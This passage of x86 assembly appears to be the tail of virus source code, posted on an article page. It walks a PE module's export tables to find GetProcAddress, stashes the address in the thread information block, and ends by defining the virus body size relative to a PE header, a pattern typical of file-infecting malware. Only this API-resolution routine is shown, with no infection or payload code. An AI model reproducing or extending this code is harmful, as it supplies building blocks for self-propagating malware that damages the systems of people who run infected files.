add dword ptr [@@gaNindex],4
Mov Esi, [@@gaNindex]
Mov Edi, [Esi]
Add Edi, Ebx
jmp gaTryAgain
gaGotGetProcAdd:

;ok we have the index into the name array use this to get
; the index into the ord array

shl Ecx,1 ;*2 for a word array
Mov Esi, [@@gaAddOrd]
add Esi,Ecx ;move to the correct spot in the array

Movzx Eax,word ptr [Esi]
;ax = ordinal value

shl Eax,2 ;*4
Mov Esi, [@@gaAddFunc]
Add Esi, Eax

Mov Edi, dword ptr [Esi]
add Edi,ebx ;got the address of it

xchg Eax, Edi
Mov dword ptr [@@gaGetPAdd],eax
jmp gaOkFound

gaNotFound1:

xor Eax,Eax ;damn not found
;set the eax to 0

gaOkFound:
Mov fs:[14h],Eax ;add the VA to it

or Eax,Eax
jnz gaOK
Mov [Esp + 1ch],Eax ;set Eax to zero for Popa

gaOK:
popa

Ret
ENDP
;------------------------------


VSize equ $ - offset PEheader

fBuff db 400h Dup(?)



end Begin




← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT